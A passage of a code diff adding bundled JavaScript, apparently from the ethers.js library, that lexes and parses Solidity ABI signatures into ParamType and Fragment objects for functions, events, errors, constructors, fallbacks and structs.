this.#subTokenString(this.#offset + 1, top.match + 1); + this.#offset = top.match + 1; + return result; + } + // Pops and returns the items within "(" ITEM1 "," ITEM2 "," ... ")" + popParams() { + const top = this.peek(); + if (top.type !== "OPEN_PAREN") { + throw new Error("bad start"); + } + const result = []; + while (this.#offset < top.match - 1) { + const link = this.peek().linkNext; + result.push(this.#subTokenString(this.#offset + 1, link)); + this.#offset = link; + } + this.#offset = top.match + 1; + return result; + } + // Returns the top Token, throwing if out of tokens + peek() { + if (this.#offset >= this.#tokens.length) { + throw new Error("out-of-bounds"); + } + return this.#tokens[this.#offset]; + } + // Returns the next value, if it is a keyword in `allowed` + peekKeyword(allowed) { + const top = this.peekType("KEYWORD"); + return (top != null && allowed.has(top)) ? top : null; + } + // Returns the value of the next token if it is `type` + peekType(type) { + if (this.length === 0) { + return null; + } + const top = this.peek(); + return (top.type === type) ? top.text : null; + } + // Returns the next token; throws if out of tokens + pop() { + const result = this.peek(); + this.#offset++; + return result; + } + toString() { + const tokens = []; + for (let i = this.#offset; i < this.#tokens.length; i++) { + const token = this.#tokens[i]; + tokens.push(`${token.type}:${token.text}`); + } + return ``; + } + } + function lex(text) { + const tokens = []; + const throwError = (message) => { + const token = (offset < text.length) ? JSON.stringify(text[offset]) : "$EOI"; + throw new Error(`invalid token ${token} at ${offset}: ${message}`); + }; + let brackets = []; + let commas = []; + let offset = 0; + while (offset < text.length) { + // Strip off any leading whitespace + let cur = text.substring(offset); + let match = cur.match(regexWhitespacePrefix); + if (match) { + offset += match[1].length; + cur = text.substring(offset); + } + const token = { depth: brackets.length, linkBack: -1, linkNext: -1, match: -1, type: "", text: "", offset, value: -1 }; + tokens.push(token); + let type = (SimpleTokens[cur[0]] || ""); + if (type) { + token.type = type; + token.text = cur[0]; + offset++; + if (type === "OPEN_PAREN") { + brackets.push(tokens.length - 1); + commas.push(tokens.length - 1); + } + else if (type == "CLOSE_PAREN") { + if (brackets.length === 0) { + throwError("no matching open bracket"); + } + token.match = brackets.pop(); + (tokens[token.match]).match = tokens.length - 1; + token.depth--; + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + } + else if (type === "COMMA") { + token.linkBack = commas.pop(); + (tokens[token.linkBack]).linkNext = tokens.length - 1; + commas.push(tokens.length - 1); + } + else if (type === "OPEN_BRACKET") { + token.type = "BRACKET"; + } + else if (type === "CLOSE_BRACKET") { + // Remove the CLOSE_BRACKET + let suffix = tokens.pop().text; + if (tokens.length > 0 && tokens[tokens.length - 1].type === "NUMBER") { + const value = tokens.pop().text; + suffix = value + suffix; + (tokens[tokens.length - 1]).value = getNumber(value); + } + if (tokens.length === 0 || tokens[tokens.length - 1].type !== "BRACKET") { + throw new Error("missing opening bracket"); + } + (tokens[tokens.length - 1]).text += suffix; + } + continue; + } + match = cur.match(regexIdPrefix); + if (match) { + token.text = match[1]; + offset += token.text.length; + if (Keywords.has(token.text)) { + token.type = "KEYWORD"; + continue; + } + if (token.text.match(regexType)) { + token.type = "TYPE"; + continue; + } + token.type = "ID"; + continue; + } + match = cur.match(regexNumberPrefix); + if (match) { + token.text = match[1]; + token.type = "NUMBER"; + offset += token.text.length; + continue; + } + throw new Error(`unexpected token ${JSON.stringify(cur[0])} at position ${offset}`); + } + return new TokenString(tokens.map((t) => Object.freeze(t))); + } + // Check only one of `allowed` is in `set` + function allowSingle(set, allowed) { + let included = []; + for (const key in allowed.keys()) { + if (set.has(key)) { + included.push(key); + } + } + if (included.length > 1) { + throw new Error(`conflicting types: ${included.join(", ")}`); + } + } + // Functions to process a Solidity Signature TokenString from left-to-right for... + // ...the name with an optional type, returning the name + function consumeName(type, tokens) { + if (tokens.peekKeyword(KwTypes)) { + const keyword = tokens.pop().text; + if (keyword !== type) { + throw new Error(`expected ${type}, got ${keyword}`); + } + } + return tokens.popType("ID"); + } + // ...all keywords matching allowed, returning the keywords + function consumeKeywords(tokens, allowed) { + const keywords = new Set(); + while (true) { + const keyword = tokens.peekType("KEYWORD"); + if (keyword == null || (allowed && !allowed.has(keyword))) { + break; + } + tokens.pop(); + if (keywords.has(keyword)) { + throw new Error(`duplicate keywords: ${JSON.stringify(keyword)}`); + } + keywords.add(keyword); + } + return Object.freeze(keywords); + } + // ...all visibility keywords, returning the coalesced mutability + function consumeMutability(tokens) { + let modifiers = consumeKeywords(tokens, KwVisib); + // Detect conflicting modifiers + allowSingle(modifiers, setify("constant payable nonpayable".split(" "))); + allowSingle(modifiers, setify("pure view payable nonpayable".split(" "))); + // Process mutability states + if (modifiers.has("view")) { + return "view"; + } + if (modifiers.has("pure")) { + return "pure"; + } + if (modifiers.has("payable")) { + return "payable"; + } + if (modifiers.has("nonpayable")) { + return "nonpayable"; + } + // Process legacy `constant` last + if (modifiers.has("constant")) { + return "view"; + } + return "nonpayable"; + } + // ...a parameter list, returning the ParamType list + function consumeParams(tokens, allowIndexed) { + return tokens.popParams().map((t) => ParamType.from(t, allowIndexed)); + } + // ...a gas limit, returning a BigNumber or null if none + function consumeGas(tokens) { + if (tokens.peekType("AT")) { + tokens.pop(); + if (tokens.peekType("NUMBER")) { + return getBigInt(tokens.pop().text); + } + throw new Error("invalid gas"); + } + return null; + } + function consumeEoi(tokens) { + if (tokens.length) { + throw new Error(`unexpected tokens at offset ${tokens.offset}: ${tokens.toString()}`); + } + } + const regexArrayType = new RegExp(/^(.*)\[([0-9]*)\]$/); + function verifyBasicType(type) { + const match = type.match(regexType); + assertArgument(match, "invalid type", "type", type); + if (type === "uint") { + return "uint256"; + } + if (type === "int") { + return "int256"; + } + if (match[2]) { + // bytesXX + const length = parseInt(match[2]); + assertArgument(length !== 0 && length <= 32, "invalid bytes length", "type", type); + } + else if (match[3]) { + // intXX or uintXX + const size = parseInt(match[3]); + assertArgument(size !== 0 && size <= 256 && (size % 8) === 0, "invalid numeric width", "type", type); + } + return type; + } + // Make the Fragment constructors effectively private + const _guard$2 = {}; + const internal$1 = Symbol.for("_ethers_internal"); + const ParamTypeInternal = "_ParamTypeInternal"; + const ErrorFragmentInternal = "_ErrorInternal"; + const EventFragmentInternal = "_EventInternal"; + const ConstructorFragmentInternal = "_ConstructorInternal"; + const FallbackFragmentInternal = "_FallbackInternal"; + const FunctionFragmentInternal = "_FunctionInternal"; + const StructFragmentInternal = "_StructInternal"; + /** + * Each input and output of a [[Fragment]] is an Array of **ParamType**. + */ + class ParamType { + /** + * The local name of the parameter (or ``""`` if unbound) + */ + name; + /** + * The fully qualified type (e.g. ``"address"``, ``"tuple(address)"``, + * ``"uint256[3][]"``) + */ + type; + /** + * The base type (e.g. ``"address"``, ``"tuple"``, ``"array"``) + */ + baseType; + /** + * True if the parameters is indexed. + * + * For non-indexable types this is ``null``. + */ + indexed; + /** + * The components for the tuple. + * + * For non-tuple types this is ``null``. + */ + components; + /** + * The array length, or ``-1`` for dynamic-lengthed arrays. + * + * For non-array types this is ``null``. + */ + arrayLength; + /** + * The type of each child in the array. + * + * For non-array types this is ``null``. + */ + arrayChildren; + /** + * @private + */ + constructor(guard, name, type, baseType, indexed, components, arrayLength, arrayChildren) { + assertPrivate(guard, _guard$2, "ParamType"); + Object.defineProperty(this, internal$1, { value: ParamTypeInternal }); + if (components) { + components = Object.freeze(components.slice()); + } + if (baseType === "array") { + if (arrayLength == null || arrayChildren == null) { + throw new Error(""); + } + } + else if (arrayLength != null || arrayChildren != null) { + throw new Error(""); + } + if (baseType === "tuple") { + if (components == null) { + throw new Error(""); + } + } + else if (components != null) { + throw new Error(""); + } + defineProperties(this, { + name, type, baseType, indexed, components, arrayLength, arrayChildren + }); + } + /** + * Return a string representation of this type. + * + * For example, + * + * ``sighash" => "(uint256,address)"`` + * + * ``"minimal" => "tuple(uint256,address) indexed"`` + * + * ``"full" => "tuple(uint256 foo, address bar) indexed baz"`` + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + const name = this.name || ""; + if (this.isArray()) { + const result = JSON.parse(this.arrayChildren.format("json")); + result.name = name; + result.type += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + return JSON.stringify(result); + } + const result = { + type: ((this.baseType === "tuple") ? "tuple" : this.type), + name + }; + if (typeof (this.indexed) === "boolean") { + result.indexed = this.indexed; + } + if (this.isTuple()) { + result.components = this.components.map((c) => JSON.parse(c.format(format))); + } + return JSON.stringify(result); + } + let result = ""; + // Array + if (this.isArray()) { + result += this.arrayChildren.format(format); + result += `[${(this.arrayLength < 0 ? "" : String(this.arrayLength))}]`; + } + else { + if (this.isTuple()) { + result += "(" + this.components.map((comp) => comp.format(format)).join((format === "full") ? ", " : ",") + ")"; + } + else { + result += this.type; + } + } + if (format !== "sighash") { + if (this.indexed === true) { + result += " indexed"; + } + if (format === "full" && this.name) { + result += " " + this.name; + } + } + return result; + } + /** + * Returns true if %%this%% is an Array type. + * + * This provides a type gaurd ensuring that [[arrayChildren]] + * and [[arrayLength]] are non-null. + */ + isArray() { + return (this.baseType === "array"); + } + /** + * Returns true if %%this%% is a Tuple type. + * + * This provides a type gaurd ensuring that [[components]] + * is non-null. + */ + isTuple() { + return (this.baseType === "tuple"); + } + /** + * Returns true if %%this%% is an Indexable type. + * + * This provides a type gaurd ensuring that [[indexed]] + * is non-null. + */ + isIndexable() { + return (this.indexed != null); + } + /** + * Walks the **ParamType** with %%value%%, calling %%process%% + * on each type, destructing the %%value%% recursively. + */ + walk(value, process) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v) => (_this.arrayChildren.walk(v, process))); + } + if (this.isTuple()) { + if (!Array.isArray(value)) { + throw new Error("invalid tuple value"); + } + if (value.length !== this.components.length) { + throw new Error("array is wrong length"); + } + const _this = this; + return value.map((v, i) => (_this.components[i].walk(v, process))); + } + return process(this.type, value); + } + #walkAsync(promises, value, process, setValue) { + if (this.isArray()) { + if (!Array.isArray(value)) { + throw new Error("invalid array value"); + } + if (this.arrayLength !== -1 && value.length !== this.arrayLength) { + throw new Error("array is wrong length"); + } + const childType = this.arrayChildren; + const result = value.slice(); + result.forEach((value, index) => { + childType.#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + if (this.isTuple()) { + const components = this.components; + // Convert the object into an array + let result; + if (Array.isArray(value)) { + result = value.slice(); + } + else { + if (value == null || typeof (value) !== "object") { + throw new Error("invalid tuple value"); + } + result = components.map((param) => { + if (!param.name) { + throw new Error("cannot use object value with unnamed components"); + } + if (!(param.name in value)) { + throw new Error(`missing value for component ${param.name}`); + } + return value[param.name]; + }); + } + if (result.length !== this.components.length) { + throw new Error("array is wrong length"); + } + result.forEach((value, index) => { + components[index].#walkAsync(promises, value, process, (value) => { + result[index] = value; + }); + }); + setValue(result); + return; + } + const result = process(this.type, value); + if (result.then) { + promises.push((async function () { setValue(await result); })()); + } + else { + setValue(result); + } + } + /** + * Walks the **ParamType** with %%value%%, asynchronously calling + * %%process%% on each type, destructing the %%value%% recursively. + * + * This can be used to resolve ENS names by walking and resolving each + * ``"address"`` type. + */ + async walkAsync(value, process) { + const promises = []; + const result = [value]; + this.#walkAsync(promises, value, process, (value) => { + result[0] = value; + }); + if (promises.length) { + await Promise.all(promises); + } + return result[0]; + } + /** + * Creates a new **ParamType** for %%obj%%. + * + * If %%allowIndexed%% then the ``indexed`` keyword is permitted, + * otherwise the ``indexed`` keyword will throw an error. + */ + static from(obj, allowIndexed) { + if (ParamType.isParamType(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ParamType.from(lex(obj), allowIndexed); + } + catch (error) { + assertArgument(false, "invalid param type", "obj", obj); + } + } + else if (obj instanceof TokenString) { + let type = "", baseType = ""; + let comps = null; + if (consumeKeywords(obj, setify(["tuple"])).has("tuple") || obj.peekType("OPEN_PAREN")) { + // Tuple + baseType = "tuple"; + comps = obj.popParams().map((t) => ParamType.from(t)); + type = `tuple(${comps.map((c) => c.format()).join(",")})`; + } + else { + // Normal + type = verifyBasicType(obj.popType("TYPE")); + baseType = type; + } + // Check for Array + let arrayChildren = null; + let arrayLength = null; + while (obj.length && obj.peekType("BRACKET")) { + const bracket = obj.pop(); //arrays[i]; + arrayChildren = new ParamType(_guard$2, "", type, baseType, null, comps, arrayLength, arrayChildren); + arrayLength = bracket.value; + type += bracket.text; + baseType = "array"; + comps = null; + } + let indexed = null; + const keywords = consumeKeywords(obj, KwModifiers); + if (keywords.has("indexed")) { + if (!allowIndexed) { + throw new Error(""); + } + indexed = true; + } + const name = (obj.peekType("ID") ? obj.pop().text : ""); + if (obj.length) { + throw new Error("leftover tokens"); + } + return new ParamType(_guard$2, name, type, baseType, indexed, comps, arrayLength, arrayChildren); + } + const name = obj.name; + assertArgument(!name || (typeof (name) === "string" && name.match(regexId)), "invalid name", "obj.name", name); + let indexed = obj.indexed; + if (indexed != null) { + assertArgument(allowIndexed, "parameter cannot be indexed", "obj.indexed", obj.indexed); + indexed = !!indexed; + } + let type = obj.type; + let arrayMatch = type.match(regexArrayType); + if (arrayMatch) { + const arrayLength = parseInt(arrayMatch[2] || "-1"); + const arrayChildren = ParamType.from({ + type: arrayMatch[1], + components: obj.components + }); + return new ParamType(_guard$2, name || "", type, "array", indexed, null, arrayLength, arrayChildren); + } + if (type === "tuple" || type.startsWith("tuple(" /* fix: ) */) || type.startsWith("(" /* fix: ) */)) { + const comps = (obj.components != null) ? obj.components.map((c) => ParamType.from(c)) : null; + const tuple = new ParamType(_guard$2, name || "", type, "tuple", indexed, comps, null, null); + // @TODO: use lexer to validate and normalize type + return tuple; + } + type = verifyBasicType(obj.type); + return new ParamType(_guard$2, name || "", type, type, indexed, null, null, null); + } + /** + * Returns true if %%value%% is a **ParamType**. + */ + static isParamType(value) { + return (value && value[internal$1] === ParamTypeInternal); + } + } + /** + * An abstract class to represent An individual fragment from a parse ABI. + */ + class Fragment { + /** + * The type of the fragment. + */ + type; + /** + * The inputs for the fragment. + */ + inputs; + /** + * @private + */ + constructor(guard, type, inputs) { + assertPrivate(guard, _guard$2, "Fragment"); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { type, inputs }); + } + /** + * Creates a new **Fragment** for %%obj%%, wich can be any supported + * ABI frgament type. + */ + static from(obj) { + if (typeof (obj) === "string") { + // Try parsing JSON... + try { + Fragment.from(JSON.parse(obj)); + } + catch (e) { } + // ...otherwise, use the human-readable lexer + return Fragment.from(lex(obj)); + } + if (obj instanceof TokenString) { + // Human-readable ABI (already lexed) + const type = obj.peekKeyword(KwTypes); + switch (type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + } + else if (typeof (obj) === "object") { + // JSON ABI + switch (obj.type) { + case "constructor": return ConstructorFragment.from(obj); + case "error": return ErrorFragment.from(obj); + case "event": return EventFragment.from(obj); + case "fallback": + case "receive": + return FallbackFragment.from(obj); + case "function": return FunctionFragment.from(obj); + case "struct": return StructFragment.from(obj); + } + assert(false, `unsupported type: ${obj.type}`, "UNSUPPORTED_OPERATION", { + operation: "Fragment.from" + }); + } + assertArgument(false, "unsupported frgament object", "obj", obj); + } + /** + * Returns true if %%value%% is a [[ConstructorFragment]]. + */ + static isConstructor(value) { + return ConstructorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[ErrorFragment]]. + */ + static isError(value) { + return ErrorFragment.isFragment(value); + } + /** + * Returns true if %%value%% is an [[EventFragment]]. + */ + static isEvent(value) { + return EventFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[FunctionFragment]]. + */ + static isFunction(value) { + return FunctionFragment.isFragment(value); + } + /** + * Returns true if %%value%% is a [[StructFragment]]. + */ + static isStruct(value) { + return StructFragment.isFragment(value); + } + } + /** + * An abstract class to represent An individual fragment + * which has a name from a parse ABI. + */ + class NamedFragment extends Fragment { + /** + * The name of the fragment. + */ + name; + /** + * @private + */ + constructor(guard, type, name, inputs) { + super(guard, type, inputs); + assertArgument(typeof (name) === "string" && name.match(regexId), "invalid identifier", "name", name); + inputs = Object.freeze(inputs.slice()); + defineProperties(this, { name }); + } + } + function joinParams(format, params) { + return "(" + params.map((p) => p.format(format)).join((format === "full") ? ", " : ",") + ")"; + } + /** + * A Fragment which represents a //Custom Error//. + */ + class ErrorFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "error", name, inputs); + Object.defineProperty(this, internal$1, { value: ErrorFragmentInternal }); + } + /** + * The Custom Error selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this fragment as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "error", + name: this.name, + inputs: this.inputs.map((input) => JSON.parse(input.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("error"); + } + result.push(this.name + joinParams(format, this.inputs)); + return result.join(" "); + } + /** + * Returns a new **ErrorFragment** for %%obj%%. + */ + static from(obj) { + if (ErrorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + return ErrorFragment.from(lex(obj)); + } + else if (obj instanceof TokenString) { + const name = consumeName("error", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new ErrorFragment(_guard$2, name, inputs); + } + return new ErrorFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **ErrorFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === ErrorFragmentInternal); + } + } + /** + * A Fragment which represents an Event. + */ + class EventFragment extends NamedFragment { + /** + * Whether this event is anonymous. + */ + anonymous; + /** + * @private + */ + constructor(guard, name, inputs, anonymous) { + super(guard, "event", name, inputs); + Object.defineProperty(this, internal$1, { value: EventFragmentInternal }); + defineProperties(this, { anonymous }); + } + /** + * The Event topic hash. + */ + get topicHash() { + return id(this.format("sighash")); + } + /** + * Returns a string representation of this event as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "event", + anonymous: this.anonymous, + name: this.name, + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = []; + if (format !== "sighash") { + result.push("event"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash" && this.anonymous) { + result.push("anonymous"); + } + return result.join(" "); + } + /** + * Return the topic hash for an event with %%name%% and %%params%%. + */ + static getTopicHash(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new EventFragment(_guard$2, name, params, false); + return fragment.topicHash; + } + /** + * Returns a new **EventFragment** for %%obj%%. + */ + static from(obj) { + if (EventFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return EventFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid event fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("event", obj); + const inputs = consumeParams(obj, true); + const anonymous = !!consumeKeywords(obj, setify(["anonymous"])).has("anonymous"); + consumeEoi(obj); + return new EventFragment(_guard$2, name, inputs, anonymous); + } + return new EventFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map((p) => ParamType.from(p, true)) : [], !!obj.anonymous); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is an + * **EventFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === EventFragmentInternal); + } + } + /** + * A Fragment which represents a constructor. + */ + class ConstructorFragment extends Fragment { + /** + * Whether the constructor can receive an endowment. + */ + payable; + /** + * The recommended gas limit for deployment or ``null``. + */ + gas; + /** + * @private + */ + constructor(guard, type, inputs, payable, gas) { + super(guard, type, inputs); + Object.defineProperty(this, internal$1, { value: ConstructorFragmentInternal }); + defineProperties(this, { payable, gas }); + } + /** + * Returns a string representation of this constructor as %%format%%. + */ + format(format) { + assert(format != null && format !== "sighash", "cannot format a constructor for sighash", "UNSUPPORTED_OPERATION", { operation: "format(sighash)" }); + if (format === "json") { + return JSON.stringify({ + type: "constructor", + stateMutability: (this.payable ? "payable" : "undefined"), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))) + }); + } + const result = [`constructor${joinParams(format, this.inputs)}`]; + if (this.payable) { + result.push("payable"); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + return result.join(" "); + } + /** + * Returns a new **ConstructorFragment** for %%obj%%. + */ + static from(obj) { + if (ConstructorFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return ConstructorFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid constuctor fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + consumeKeywords(obj, setify(["constructor"])); + const inputs = consumeParams(obj); + const payable = !!consumeKeywords(obj, KwVisibDeploy).has("payable"); + const gas = consumeGas(obj); + consumeEoi(obj); + return new ConstructorFragment(_guard$2, "constructor", inputs, payable, gas); + } + return new ConstructorFragment(_guard$2, "constructor", obj.inputs ? obj.inputs.map(ParamType.from) : [], !!obj.payable, (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **ConstructorFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === ConstructorFragmentInternal); + } + } + /** + * A Fragment which represents a method. + */ + class FallbackFragment extends Fragment { + /** + * If the function can be sent value during invocation. + */ + payable; + constructor(guard, inputs, payable) { + super(guard, "fallback", inputs); + Object.defineProperty(this, internal$1, { value: FallbackFragmentInternal }); + defineProperties(this, { payable }); + } + /** + * Returns a string representation of this fallback as %%format%%. + */ + format(format) { + const type = ((this.inputs.length === 0) ? "receive" : "fallback"); + if (format === "json") { + const stateMutability = (this.payable ? "payable" : "nonpayable"); + return JSON.stringify({ type, stateMutability }); + } + return `${type}()${this.payable ? " payable" : ""}`; + } + /** + * Returns a new **FallbackFragment** for %%obj%%. + */ + static from(obj) { + if (FallbackFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FallbackFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid fallback fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const errorObj = obj.toString(); + const topIsValid = obj.peekKeyword(setify(["fallback", "receive"])); + assertArgument(topIsValid, "type must be fallback or receive", "obj", errorObj); + const type = obj.popKeyword(setify(["fallback", "receive"])); + // receive() + if (type === "receive") { + const inputs = consumeParams(obj); + assertArgument(inputs.length === 0, `receive cannot have arguments`, "obj.inputs", inputs); + consumeKeywords(obj, setify(["payable"])); + consumeEoi(obj); + return new FallbackFragment(_guard$2, [], true); + } + // fallback() [payable] + // fallback(bytes) [payable] returns (bytes) + let inputs = consumeParams(obj); + if (inputs.length) { + assertArgument(inputs.length === 1 && inputs[0].type === "bytes", "invalid fallback inputs", "obj.inputs", inputs.map((i) => i.format("minimal")).join(", ")); + } + else { + inputs = [ParamType.from("bytes")]; + } + const mutability = consumeMutability(obj); + assertArgument(mutability === "nonpayable" || mutability === "payable", "fallback cannot be constants", "obj.stateMutability", mutability); + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + const outputs = consumeParams(obj); + assertArgument(outputs.length === 1 && outputs[0].type === "bytes", "invalid fallback outputs", "obj.outputs", outputs.map((i) => i.format("minimal")).join(", ")); + } + consumeEoi(obj); + return new FallbackFragment(_guard$2, inputs, mutability === "payable"); + } + if (obj.type === "receive") { + return new FallbackFragment(_guard$2, [], true); + } + if (obj.type === "fallback") { + const inputs = [ParamType.from("bytes")]; + const payable = (obj.stateMutability === "payable"); + return new FallbackFragment(_guard$2, inputs, payable); + } + assertArgument(false, "invalid fallback description", "obj", obj); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FallbackFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === FallbackFragmentInternal); + } + } + /** + * A Fragment which represents a method. + */ + class FunctionFragment extends NamedFragment { + /** + * If the function is constant (e.g. ``pure`` or ``view`` functions). + */ + constant; + /** + * The returned types for the result of calling this function. + */ + outputs; + /** + * The state mutability (e.g. ``payable``, ``nonpayable``, ``view`` + * or ``pure``) + */ + stateMutability; + /** + * If the function can be sent value during invocation. + */ + payable; + /** + * The recommended gas limit to send when calling this function. + */ + gas; + /** + * @private + */ + constructor(guard, name, stateMutability, inputs, outputs, gas) { + super(guard, "function", name, inputs); + Object.defineProperty(this, internal$1, { value: FunctionFragmentInternal }); + outputs = Object.freeze(outputs.slice()); + const constant = (stateMutability === "view" || stateMutability === "pure"); + const payable = (stateMutability === "payable"); + defineProperties(this, { constant, gas, outputs, payable, stateMutability }); + } + /** + * The Function selector. + */ + get selector() { + return id(this.format("sighash")).substring(0, 10); + } + /** + * Returns a string representation of this function as %%format%%. + */ + format(format) { + if (format == null) { + format = "sighash"; + } + if (format === "json") { + return JSON.stringify({ + type: "function", + name: this.name, + constant: this.constant, + stateMutability: ((this.stateMutability !== "nonpayable") ? this.stateMutability : undefined), + payable: this.payable, + gas: ((this.gas != null) ? this.gas : undefined), + inputs: this.inputs.map((i) => JSON.parse(i.format(format))), + outputs: this.outputs.map((o) => JSON.parse(o.format(format))), + }); + } + const result = []; + if (format !== "sighash") { + result.push("function"); + } + result.push(this.name + joinParams(format, this.inputs)); + if (format !== "sighash") { + if (this.stateMutability !== "nonpayable") { + result.push(this.stateMutability); + } + if (this.outputs && this.outputs.length) { + result.push("returns"); + result.push(joinParams(format, this.outputs)); + } + if (this.gas != null) { + result.push(`@${this.gas.toString()}`); + } + } + return result.join(" "); + } + /** + * Return the selector for a function with %%name%% and %%params%%. + */ + static getSelector(name, params) { + params = (params || []).map((p) => ParamType.from(p)); + const fragment = new FunctionFragment(_guard$2, name, "view", params, [], null); + return fragment.selector; + } + /** + * Returns a new **FunctionFragment** for %%obj%%. + */ + static from(obj) { + if (FunctionFragment.isFragment(obj)) { + return obj; + } + if (typeof (obj) === "string") { + try { + return FunctionFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid function fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("function", obj); + const inputs = consumeParams(obj); + const mutability = consumeMutability(obj); + let outputs = []; + if (consumeKeywords(obj, setify(["returns"])).has("returns")) { + outputs = consumeParams(obj); + } + const gas = consumeGas(obj); + consumeEoi(obj); + return new FunctionFragment(_guard$2, name, mutability, inputs, outputs, gas); + } + let stateMutability = obj.stateMutability; + // Use legacy Solidity ABI logic if stateMutability is missing + if (stateMutability == null) { + stateMutability = "payable"; + if (typeof (obj.constant) === "boolean") { + stateMutability = "view"; + if (!obj.constant) { + stateMutability = "payable"; + if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + } + else if (typeof (obj.payable) === "boolean" && !obj.payable) { + stateMutability = "nonpayable"; + } + } + // @TODO: verifyState for stateMutability (e.g. throw if + // payable: false but stateMutability is "nonpayable") + return new FunctionFragment(_guard$2, obj.name, stateMutability, obj.inputs ? obj.inputs.map(ParamType.from) : [], obj.outputs ? obj.outputs.map(ParamType.from) : [], (obj.gas != null) ? obj.gas : null); + } + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **FunctionFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === FunctionFragmentInternal); + } + } + /** + * A Fragment which represents a structure. + */ + class StructFragment extends NamedFragment { + /** + * @private + */ + constructor(guard, name, inputs) { + super(guard, "struct", name, inputs); + Object.defineProperty(this, internal$1, { value: StructFragmentInternal }); + } + /** + * Returns a string representation of this struct as %%format%%. + */ + format() { + throw new Error("@TODO"); + } + /** + * Returns a new **StructFragment** for %%obj%%. + */ + static from(obj) { + if (typeof (obj) === "string") { + try { + return StructFragment.from(lex(obj)); + } + catch (error) { + assertArgument(false, "invalid struct fragment", "obj", obj); + } + } + else if (obj instanceof TokenString) { + const name = consumeName("struct", obj); + const inputs = consumeParams(obj); + consumeEoi(obj); + return new StructFragment(_guard$2, name, inputs); + } + return new StructFragment(_guard$2, obj.name, obj.inputs ? obj.inputs.map(ParamType.from) : []); + } + // @TODO: fix this return type + /** + * Returns ``true`` and provides a type guard if %%value%% is a + * **StructFragment**. + */ + static isFragment(value) { + return (value && value[internal$1] === StructFragmentInternal); + } + } + + /** + * When sending values to or receiving values from a [[Contract]], the + * data is generally encoded using the [ABI standard](link-solc-abi). + * + * The AbiCoder provides a utility to encode values to ABI data and + * decode values from ABI data. + * + * Most of the time, developers should favour the [[Contract]] class, + * which further abstracts a lot of the finer details of ABI data. + * + * @_section api/abi/abi-coder:ABI Encoding + */ + // See: https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI + // https://docs.soliditylang.org/en/v0.8.17/control-structures.html + const PanicReasons$1 = new Map(); + PanicReasons$1.set(0x00, "GENERIC_PANIC"); + PanicReasons$1.set(0x01, "ASSERT_FALSE"); + PanicReasons$1.set(0x11, "OVERFLOW"); + PanicReasons$1.set(0x12, "DIVIDE_BY_ZERO"); + PanicReasons$1.set(0x21, "ENUM_RANGE_ERROR"); + PanicReasons$1.set(0x22, "BAD_STORAGE_DATA"); + PanicReasons$1.set(0x31, "STACK_UNDERFLOW"); + PanicReasons$1.set(0x32, "ARRAY_RANGE_ERROR"); + PanicReasons$1.set(0x41, "OUT_OF_MEMORY"); + PanicReasons$1.set(0x51, "UNINITIALIZED_FUNCTION_CALL"); + const paramTypeBytes = new RegExp(/^bytes([0-9]*)$/); + const paramTypeNumber = new RegExp(/^(u?int)([0-9]*)$/); + let defaultCoder = null; + let defaultMaxInflation = 1024; + function 